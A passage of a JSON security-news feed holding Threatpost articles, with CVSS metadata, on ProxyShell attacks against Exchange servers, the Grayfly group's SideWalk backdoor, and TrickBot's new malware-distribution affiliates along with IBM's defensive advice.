"attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-03T18:16:37", "type": "threatpost", "title": "\u2018Tortilla\u2019 Wraps Exchange Servers in ProxyShell Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-43267"], "modified": "2021-11-03T18:16:37", "id": "THREATPOST:52923238811C7BFD39E0529C85317249", "href": "https://threatpost.com/tortilla-exchange-servers-proxyshell/175967/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-09T14:38:24", "description": "The novel backdoor technique called [SideWalk](<https://threatpost.com/sparklinggoblin-apt/168928/>), seen in campaigns targeting US media and retailers late last month, has been tied to an adversary that\u2019s been around for quite a while: namely, China-linked Grayfly espionage group.\n\nESET researchers, who named and discovered the new \u201cSparklingGoblin\u201d advanced persistent threat (APT) actor behind SideWalk, [reported](<https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/>) at the time that the group is an offshoot of another APT \u2013 Winnti Group \u2013 first identified in 2013 by Kaspersky.\n\nESET also said that the SideWalk backdoor is similar to one used by [Winnti](<https://threatpost.com/black-hat-linux-spyware-stack-chinese-apts/158092/>) (aka APT41, Barium, Wicked Panda or Wicked Spider, an APT [known for](<https://threatpost.com/apt41-operatives-indicted-hacking/159324/>) nation state-backed cyberespionage and financial cybercrime) called CrossWalk (Backdoor.Motnug). Both CrossWalk and SideWalk are modular backdoors used to exfiltrate system information and can run shellcode sent by the command-and-control (C2) server.\n\n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nAccording to a [report](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware>) published by Symantec on Thursday, the SideWalk malware has been deployed in recent Grayfly campaigns against organizations in Taiwan, Vietnam, the US and Mexico. Symantec\u2019s Threat Hunter Team has observed recent campaigns that have involved exploits targeting Exchange and MySQL servers.\n\nBesides attacking organizations in the IT, media and finance sectors, the group also has zeroed in on the telecoms sector, according to the report.\n\n## Indicted but Undeterred\n\nThe US [indicted](<https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer>) several members of APT41 in September 2020, all of them Chinese residents and nationals. A Federal grand jury charged them with pulling off dozens of crimes, including allegedly facilitating \u201d the theft of source code, software code-signing certificates, customer-account data and valuable business information,\u201d which in turn \u201cfacilitated other criminal schemes, including ransomware and cryptojacking.\u201d\n\nAs the Department of Justice (DOJ) said at the time, one of the defendants \u2013 Jiang Lizhi \u2013 allegedly bragged about having a \u201cworking relationship\u201d with the Chinese Ministry of State Security: a relationship that would give him and his alleged co-conspirators a degree of state protection.\n\nAccording to Symantec researchers, the SideWalk campaign suggests that the [arrests and the publicity](<https://threatpost.com/apt41-operatives-indicted-hacking/159324/>) can\u2019t have made much of a dent in the group\u2019s activity.\n\n## **Pesky Grayfly**\n\nYou might know Grayfly better by its also-known-as\u2019s, which include GREF and Wicked Panda. Symantec said that even though the Grayfly APT is sometimes labeled APT41, its researchers consider Grayfly to be a distinct arm of APT41 that\u2019s devoted to espionage. This is similar to how Symantec separately tracks other sub-groups of APT41, such as Blackfly, the APT\u2019s cybercrime arm.\n\nGrayfly, a targeted attack group, has been around since at least March 2017, using the CrossWalk/Backdoor.Motnug (aka TOMMYGUN) backdoor. The group has also wielded a custom loader called Trojan.Chattak, Cobalt Strike (aka Trojan.Agentemis, the legitimate, commercially available tool used by network penetration testers and, increasingly, [by crooks](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>)) and ancillary tools in its attacks.\n\nResearchers have seen Grayfly targeting a number of countries in Asia, Europe, and North America across a variety of industries, including food, financial, healthcare, hospitality, manufacturing and telecommunications. Recently, it\u2019s continued to torment telecoms, but it\u2019s also been going after the media, finance and IT service providers.\n\nGrayfly\u2019s typical modus operandi is to target publicly facing web servers to install web shells for initial intrusion before spreading further within the network, Symantec said. After it has penetrated a network, Grayfly then might install its custom backdoors onto more systems. That gives the operators remote access to the network and proxy connections that enable them to access hard-to-reach segments of a target\u2019s network, according to the writeup.\n\n## **Walking the Slippery SideWalk **\n\nSymantec researchers observed that in the recent SideWalk campaign, Grayfly looked to be particularly interested in attacking exposed Microsoft Exchange or MySQL servers, suggesting that \u201cthe initial vector may be the exploit of multiple vulnerabilities against public-facing servers.\u201d\n\nIn fact, the Cybersecurity & Infrastructure Security Agency (CISA) recently put out an urgent [alert](<https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>) about a [surge in ProxyShell attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>), as attackers launched 140 web shells against 1,900 unpatched Microsoft Exchange servers. Security researchers at Huntress reported seeing [ProxyShell vulnerabilities](<https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit>) being actively exploited throughout the month of August to install backdoor access once the [ProxyShell exploit code](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>) was published on Aug. 6: A few weeks later, the surge hit.\n\nIn at least one of the SideWalk attacks that Symantec researchers observed, the suspicious Exchange activity was followed by PowerShell commands used to install an unidentified web shell. That may sound familiar, given that one of the vulnerabilities Huntress described last month was CVE-2021-34523: a bug that enables malicious actors to execute arbitrary code post-authentication on Microsoft Exchange servers due to a flaw in the PowerShell service not properly validating access tokens.\n\nThe Grayfly attackers executed the malicious SideWalk backdoor after the web shell was installed. Then, they deployed a tailor-made version of the open-source, credential-dumping tool Mimikatz that Symantec said has been used in earlier Grayfly attacks. Symantec\u2019s report does a deep dive on the technical details, including indicators of compromise.\n\nExpect more to come, researchers said, since this fly isn\u2019t likely to buzz off: \u201cGrayfly is a capable actor, likely to continue to pose a risk to organizations in Asia and Europe across a variety of industries, including telecommunications, finance, and media. It\u2019s likely this group will continue to develop and improve its custom tools to enhance evasion tactics along with using commodity tools such as publicly available exploits and web shells to assist in their attacks.\u201d\n\n**It\u2019s time to evolve threat hunting into a pursuit of adversaries. **[**JOIN**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** Threatpost and Cybersixgill for **[**Threat Hunting to Catch Adversaries, Not Just Stop Attacks**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** and get a guided tour of the dark web and learn how to track threat actors before their next attack. **[**REGISTER NOW**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** for the LIVE discussion on September 22 at 2 PM EST with Cybersixgill\u2019s Sumukh Tendulkar and Edan Cohen, along with researcher and vCISO Chris Roberts and Threatpost host Becky Bracken.**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-09T14:30:56", "type": "threatpost", "title": "SideWalk Backdoor Linked to China-Linked Spy Group \u2018Grayfly\u2019", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34523"], "modified": "2021-09-09T14:30:56", "id": "THREATPOST:1CEC18436389CF557E4D0F83AE022A53", "href": "https://threatpost.com/sidewalk-backdoor-china-espionage-grayfly/169310/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-08-13T19:26:48", "description": "Researchers\u2019 Microsoft Exchange server honeypots are being actively exploited via ProxyShell: The name of an attack disclosed at Black Hat last week that chains three vulnerabilities to enable unauthenticated attackers to perform remote code execution (RCE) and snag plaintext passwords.\n\nIn his Black Hat [presentation](<https://www.blackhat.com/us-21/briefings/schedule/#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-m>) last week, Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) said that a survey shows more than 400,000 Exchange servers on the internet that are exposed to the attack via port 443. On Monday, the SANS Internet Storm Center\u2019s Jan Kopriva [reported](<https://isc.sans.edu/forums/diary/ProxyShell+how+many+Exchange+servers+are+affected+and+where+are+they/27732/>) that he found more than 30,000 vulnerable Exchange servers via a Shodan scan and that any threat actor worthy of that title would find it a snap to pull off, given how much information is available.\n\nGoing by calculations tweeted by security researcher Kevin Beaumont, this means that, between ProxyLogon and ProxyShell, \u201cjust under 50 percent of internet-facing Exchange servers\u201d are currently vulnerable to exploitation, according to a Shodan search.\n\n> Breakdown of Exchange servers on Shodan vulnerable to ProxyShell or ProxyLogon, it's just under 50% of internet facing Exchange servers. [pic.twitter.com/3samyNHBpB](<https://t.co/3samyNHBpB>)\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 13, 2021](<https://twitter.com/GossiTheDog/status/1426207905779527682?ref_src=twsrc%5Etfw>)\n\nOn the plus side, Microsoft has already released patches for all of the vulnerabilities in question, and, cross your fingers, \u201cchances are that most organizations that take security at least somewhat seriously have already applied the patches,\u201d Kopriva wrote.\n\n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe vulnerabilities affect Exchange Server 2013, 2016 and 2019.\n\nOn Thursday, Beaumont and NCC Group\u2019s vulnerability researcher Rich Warren disclosed that threat actors have exploited their Microsoft Exchange honeypots using the ProxyShell vulnerability.\n\n\u201cStarted to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities,\u201d Warren tweeted, along with a screen capture of the code for a c# aspx webshell dropped in the /aspnet_client/ directory.\n\n> Started to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities. This one dropped a c# aspx webshell in the /aspnet_client/ directory: [pic.twitter.com/XbZfmQQNhY](<https://t.co/XbZfmQQNhY>)\n> \n> \u2014 Rich Warren (@buffaloverflow) [August 12, 2021](<https://twitter.com/buffaloverflow/status/1425831100157349890?ref_src=twsrc%5Etfw>)\n\nBeaumont [tweeted](<https://twitter.com/GossiTheDog/status/1425844380376735746>) that he was seeing the same and connected it to Tsai\u2019s talk: \u201cExchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from @orange_8361\u2019s initial talk.\u201d\n\n> Exchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from [@orange_8361](<https://twitter.com/orange_8361?ref_src=twsrc%5Etfw>)'s initial talk.\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 12, 2021](<https://twitter.com/GossiTheDog/status/1425844380376735746?ref_src=twsrc%5Etfw>)\n\n## Dangerous Skating on the New Attack Surface\n\nIn [a post](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/>) on Sunday, Tsai recounted the in-the-wild ProxyLogon proof of concept that Devco reported to MSRC in late February, explaining that it made the researchers \u201cas curious as everyone after eliminating the possibility of leakage from our side through a thorough investigation.\n\n\u201cWith a clearer timeline appearing and more discussion occurring, it seems like this is not the first time that something like this happened to Microsoft,\u201d he continued. Mail server is both a highly valuable asset and a seemingly irresistible target for attackers, given that it holds businesses\u2019 confidential secrets and corporate data.\n\n\u201cIn other words, controlling a mail server means controlling the lifeline of a company,\u201d Tsai explained. \u201cAs the most common-use email solution, Exchange Server has been the top target for hackers for a long time. Based on our research, there are more than four hundred thousands Exchange Servers exposed on the Internet. Each server represents a company, and you can imagine how horrible it is while a severe vulnerability appeared in Exchange Server.\u201d\n\nDuring his Black Hat presentation, Tsai explained that the new attack surface his team discovered is based on \u201ca significant change in Exchange Server 2013, where the fundamental protocol handler, Client Access Service (CAS), splits into frontend and backend\u201d \u2013 a change that incurred \u201cquite an amount of design\u201d and yielded eight vulnerabilities, consisting of server-side bugs, client-side bugs and crypto bugs.\n\nHe chained the bugs into three attack vectors: The now-infamous [ProxyLogon](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) that induced [patching frenzy](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) a few months back, the ProxyShell vector that\u2019s now under active attack, and another vector called ProxyOracle.\n\n\u201cThese attack vectors enable any unauthenticated attacker to uncover plaintext passwords and even execute arbitrary code on Microsoft Exchange Servers through port 443, which is exposed to the Internet by about 400,000 Exchange Servers,\u201d according to the presentation\u2019s introduction.\n\nThe three Exchange vulnerabilities, all of which are [patched](<https://threatpost.com/microsoft-crushes-116-bugs/167764/>), that Tsai chained for the ProxyShell attack:\n\n * [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) \u2013 Pre-auth path confusion leads to ACL bypass\n * [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \u2013 Elevation of privilege on Exchange PowerShell backend\n * [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>) \u2013 Post-auth arbitrary file-write leads to RCE\n\nProxyShell earned the Devcore team a $200,000 bounty after they used the bugs to take over an Exchange server at the [Pwn2Own 2021](<https://twitter.com/thezdi/status/1379467992862449664>) contest in April.\n\nDuring his Black Hat talk, Tsai said that he discovered the Exchange vulnerabilities when targeting the Microsoft Exchange CAS attack surface. As Tsai explained, CAS is \u201ca fundamental component\u201d of Exchange.\n\nHe referred to [Microsoft\u2019s documentation](<https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2019>), which states:\n\n\u201cMailbox servers contain the Client Access services that accept client connections for all protocols. These frontend services are responsible for routing or proxying connections to the corresponding backend services on a Mailbox server.\u201d\n\n\u201cFrom the narrative you could realize the importance of CAS, and you could imagine how critical it is when bugs are found in such infrastructure. CAS was where we focused on, and where the attack surface appeared,\u201d Tsai wrote. \u201cCAS is the fundamental component in charge of accepting all the connections from the client side, no matter if it\u2019s HTTP, POP3, IMAP or SMTP, and proxies the connections to the corresponding backend service.\u201d\n\n## ProxyShell Just the \u2018Tip of the Iceberg\u2019\n\nOut of all the bugs he found in the new attack surface, Tsai dubbed [CVE-2020-0688](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) (an RCE vulnerability that involved a hard-coded cryptographic key in Exchange) the \u201cmost surprising.\u201d\n\n\u201cWith this hard-coded key, an attacker with low privilege can take over the whole Exchange Server,\u201d he wrote. \u201cAnd as you can see, even in 2020, a silly, hard-coded cryptographic key could still be found in an essential software like Exchange. This indicated that Exchange is lacking security reviews, which also inspired me to dig more into the Exchange security.\u201d\n\nBut the \u201cmost interesting\u201d flaw is [CVE-2018-8581](<https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange>), he said, which was disclosed by someone who cooperated with ZDI. Though it\u2019s a \u201csimple\u201d server-side request forgery (SSRF), it could be combined with NTLM Relay, enabling the attacker to \u201cturn a boring SSRF into [something really fancy,\u201d Tsai said.](<https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/>)\n\nFor example, it could \u201cdirectly control the whole Domain Controller through a low-privilege account,\u201d Tsai said.\n\n## Autodiscover Figures into ProxyShell\n\nAs [BleepingComputer](<https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-servers-are-getting-hacked-via-proxyshell-exploits/>) reported, during his presentation, Tsai explained that one of the components of the ProxyShell attack chain targets the Microsoft Exchange [Autodiscover](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/autodiscover?view=exchserver-2019>) service: a service that eases configuration and deployment by providing clients access to Exchange features with minimal user input.\n\nTsai\u2019s talk evidently triggered a wave of scanning for the vulnerabilities by attackers.\n\nAfter watching the presentation, other security researchers replicated the ProxyShell exploit. The day after Tsai\u2019s presentation, last Friday, PeterJson and Nguyen Jang [published](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>) more detailed technical information about their successful reproduction of the exploit.\n\nSoon after, Beaumont [tweeted](<https://twitter.com/GossiTheDog/status/1422178411385065476?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1422178411385065476%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fwww.bleepingcomputer.com%2Fnews%2Fmicrosoft%2Fmicrosoft-exchange-servers-scanned-for-proxyshell-vulnerability-patch-now%2F>) about a threat actor who was probing his Exchange honeypot using the [Autodiscover service](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/autodiscover?view=exchserver-2019>). As of yesterday, Aug. 12, those servers were being targeted using autodiscover.json, he tweeted.\n\n> Exchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from [@orange_8361](<https://twitter.com/orange_8361?ref_src=twsrc%5Etfw>)'s initial talk.\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 12, 2021](<https://twitter.com/GossiTheDog/status/1425844380376735746?ref_src=twsrc%5Etfw>)\n\nAs of Thursday, ProxyShell was dropping a 265K webshell \u2013 the minimum file size that can be created via ProxyShell due to its use of the Mailbox Export function of Exchange Powershell to create PST files \u2013 to the \u2018c:\\inetpub\\wwwroot\\aspnet_client\\\u2019 folder. Warren shared a sample with BleepingComputer that showed that the webshells consist of \u201ca simple authentication-protected script that the threat actors can use to upload files to the compromised Microsoft Exchange server.\u201d\n\nBad Packets told the outlet that as of Thursday, was seeing threat actors scanning for vulnerable ProxyShell devices from IP addresses in the U.S., Iran and the Netherlands, using the domains @abc.com and @1337.com, from the known addresses 3.15.221.32 and 194.147.142.0/24.\n\n![Threatpost Webinar Series ](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/27093135/threatpost-webinar-300x51.jpg)Worried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-13T18:56:27", "type": "threatpost", "title": "Exchange Servers Under Active Attack via ProxyShell Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8581", "CVE-2020-0688", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-13T18:56:27", "id": "THREATPOST:4B2E19CAF27A3EFBCB2F777C6E528317", "href": "https://threatpost.com/exchange-servers-attack-proxyshell/168661/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-15T18:06:14", "description": "The cybercriminals behind the infamous TrickBot trojan have signed two additional distribution affiliates, dubbed Hive0106 (aka TA551) and Hive0107 by IBM X-Force. The result? Escalating ransomware hits on corporations, especially using the Conti ransomware.\n\nThe development also speaks to the TrickBot gang\u2019s increasing sophistication and standing in the cybercrime underground, IBM researchers said: \u201cThis latest development demonstrates the strength of its connections within the cybercriminal ecosystem and its ability to leverage these relationships to expand the number of organizations infected with its malware.\u201d\n\nThe TrickBot malware started life as a banking trojan back in 2016, but it quickly evolved to become a modular, full-service threat. It\u2019s capable of a range of backdoor and data-theft functions, can deliver additional payloads, and has the ability to quickly [move laterally](<https://threatpost.com/trickbot-port-scanning-module/163615/>) throughout an enterprise.\n\nAccording to IBM, the TrickBot gang (aka ITG23 or Wizard Spider) has now added powerful additional distribution tactics to its bag of tricks, thanks to the two new affiliates.\n\n\u201cEarlier this year, [the TrickBot gang] primarily relied on email campaigns delivering Excel documents and a call-center ruse known as BazarCall to deliver its payloads to corporate users,\u201d IBM researchers said in a [Wednesday analysis](<https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/>). \u201cHowever\u2026the new affiliates have added the use of hijacked email threads and fraudulent website customer-inquiry forms. This move not only increased the volume of its delivery attempts but also diversified delivery methods with the goal of infecting more potential victims than ever.\u201d\n\nBazarCall is a [distribution tactic](<https://unit42.paloaltonetworks.com/bazarloader-malware/>) that starts with emails offering \u201ctrial subscriptions\u201d to various services \u2013 with a phone number listed to call customer service to avoid being charged money. If someone calls, a call-center operator answers and directs victims to a website to purportedly unsubscribe from the service: a process the \u201cagent\u201d walks the caller through. In the end, vulnerable computers become infected with malware \u2013 usually the [BazarLoader implant](<https://threatpost.com/bazarloader-malware-slack-basecamp/165455/>), which is another malware in the TrickBot gang\u2019s arsenal, and sometimes TrickBot itself. These types of attacks have continued into the autumn, enhanced by the fresh distribution approaches, according to IBM.\n\nMeanwhile, since 2020, the TrickBot gang has been heavily involved in the ransomware economy, with the TrickBot malware acting as an initial access point in campaigns. Users infected with the trojan will see their device become part of a botnet that attackers typically use to load the second-stage ransomware variant. The operators have developed their own ransomware as well, according to IBM: the Conti code, which is notorious for hitting hospitals, [destroying backup files](<https://threatpost.com/conti-ransomware-backups/175114/>) and pursuing [double-extortion tactics](<https://threatpost.com/double-extortion-ransomware-attacks-spike/154818/>).\n\nIBM noted that since the two affiliates came on board in June, there\u2019s been a corresponding increase in Conti ransomware attacks \u2013 not likely a coincidence.\n\n\u201cRansomware and extortion go hand in hand nowadays,\u201d according to the firm\u2019s analysis. \u201c[The TrickBot gang] has also adapted to the ransomware economy through the creation of the Conti ransomware-as-a-service (RaaS) and the use of its BazarLoader and Trickbot payloads to gain a foothold for ransomware attacks.\u201d\n\n## **Affiliate Hive0106: Spam Powerhouse **\n\nIBM X-Force researchers noted that the most important development since June for the distribution of the TrickBot gang\u2019s various kinds of malware is the newly minted partnership with Hive0106 (aka TA551, Shathak and UNC2420).\n\nHive0106 specializes in massive volumes of spamming and is a financially motivated threat group that\u2019s lately been looking to partner with elite cybercrime gangs, the firm said.\n\nHive0106 campaigns begin with hijacking email threads: a tactic pioneered by its frenemy [Emotet](<https://threatpost.com/emotet-takedown-infrastructure-netwalker-offline/163389/>). The tactic involves [jumping into ongoing correspondence](<https://unit42.paloaltonetworks.com/emotet-thread-hijacking/>) to respond to an incoming message under the guise of being the rightful account holder. These existing email threads are stolen from email clients during prior infections. Hive0106 is able to mount these campaigns at scale, researchers said, using newly created malicious domains to host malware payloads.\n\n\u201cThe emails include the email thread subject line but not the entire thread,\u201d according to IBM X-Force\u2019s writeup. \u201cWithin the email is an archive file containing a malicious attachment and password.\u201d\n\nIn the new campaigns, that malicious document drops an HTML application (HTA) file when macros are enabled.\n\n\u201cHTA files contain hypertext code and may also contain VBScript or JScript scripts, both of which are often used in boobytrapped macros,\u201d according to the analysis. \u201cThe HTA file then downloads Trickbot or BazarLoader, which has subsequently been observed downloading Cobalt Strike.\u201d\n\nCobalt Strike is the legitimate pen-testing tool that\u2019s [often abused by cybercriminals](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) to help with lateral movement. It\u2019s often a precursor to a ransomware infection.\n\n## **Hive0107 Comes on Board**\n\nAnother prominent affiliate that hooked its wagon up to the TrickBot gang this summer is Hive0107, which spent the first half of the year distributing the IcedID trojan (a [TrickBot rival](<https://threatpost.com/icedid-banking-trojan-surges-emotet/165314/>)). It switched horses to TrickBot in May, using its patented contact form distribution method.\n\nAnalysts \u201cobserved Hive0107 with occasional distribution campaigns of the Trickbot malware detected mid-May through mid-July 2021\u2026after that period, Hive0107 switched entirely to delivering BazarLoader,\u201d according to the researchers, who added that most of the campaigns target organizations in the U.S. and, to a lesser extent, Canada and Europe.\n\nHive0107 is well-known for using customer contact forms on company websites to send malicious links to unwitting employees. Usually, the messages it sends threaten legal action, according to the analysis.\n\nPreviously, the cybercriminals used copyright infringement as a ruse: \u201cThe group typically enters information into these contact forms \u2014 probably using automated methods \u2014 informing the targeted organization that it has illegally used copyrighted images and includes a link to their evidence,\u201d IBM X-Force researchers explained.\n\nIn the new campaigns, Hive0107 is using a different lure, the researchers said, claiming that the targeted company has been performing distributed denial-of-service (DDoS) attacks on its servers. Then, the messages provide a (malicious) link to purported evidence and how to remedy the situation.\n\nThe group also sends the same content via email to organization staff \u2013 an additional switch-up in tactics.\n\nIn any event, the links are hosted on legitimate cloud storage services where the payload lives, according to the analysis.\n\n\u201cClicking on the link downloads a .ZIP archive containing a malicious JScript (JS) downloader titled \u2018Stolen Images Evidence.js\u2019 or \u2018DDoS attack proof and instructions on how to fix it.js,'\u201d researchers explained. \u201cThe JS file contacts a URL on newly created domains to download BazarLoader.\u201d\n\nBazarLoader then goes on to download Cobalt Strike and a PowerShell script to exploit the [PrintNightmare vulnerability](<https://threatpost.com/microsoft-unpatched-printnightmare-zero-day/168613/>) (CVE-2021-34527), they added \u2013 and sometimes TrickBot.\n\n\u201cIBM suspects that access achieved through these Hive0107 campaigns is ultimately used to initiate a ransomware attack,\u201d the researchers noted.\n\nThe new affiliate campaigns are evidence of the TrickBot gang\u2019s continuing success breaking into the circle of the cybercriminal elite, the firm concluded \u2013 a trend IBM X-Force expects to continue into next year.\n\n\u201c[The gang] started out aggressively back in 2016 and has become a cybercrime staple in the Eastern European threat-actor arena,\u201d researchers said. \u201cIn 2021, the group has repositioned itself among the top of the cybercriminal industry.\u201d\n\nThey added, \u201cThe group already has demonstrated its ability to maintain and update its malware and infrastructure, despite the efforts of law enforcement and industry groups [to take it down](<https://threatpost.com/authorities-arrest-trickbot-member/169236/>).\u201d\n\n## **How to Protect Companies When TrickBot Hits**\n\nTo reduce the chances of suffering catastrophic damage from an infection (or a follow-on ransomware attack), IBM recommends taking the following steps:\n\n * **Ensure you have backup redundancy**, stored separately from network zones attackers could access with read-only access. The availability of effective backups is a significant differentiator for organizations and can support recovery from a ransomware attack.\n * **Implement a strategy to prevent unauthorized data theft**, especially as it applies to uploading large amounts of data to legitimate cloud storage platforms that attackers can abuse.\n * **Employ user-behavior analytics** to identify potential security incidents. When triggered, assume a breach has taken place. Audit, monitor and quickly act on suspected abuse related to privileged accounts and groups.\n * **Employ multi-factor authentication** on all remote access points into an enterprise network.\n * **Secure or disable remote desktop protocol (RDP).** Multiple ransomware attacks have been known to exploit weak RDP access to gain initial entry into a network.\n\n_**Check out our free **_[_**upcoming live and on-demand online town halls **_](<https://threatpost.com/category/webinars/>)_**\u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", 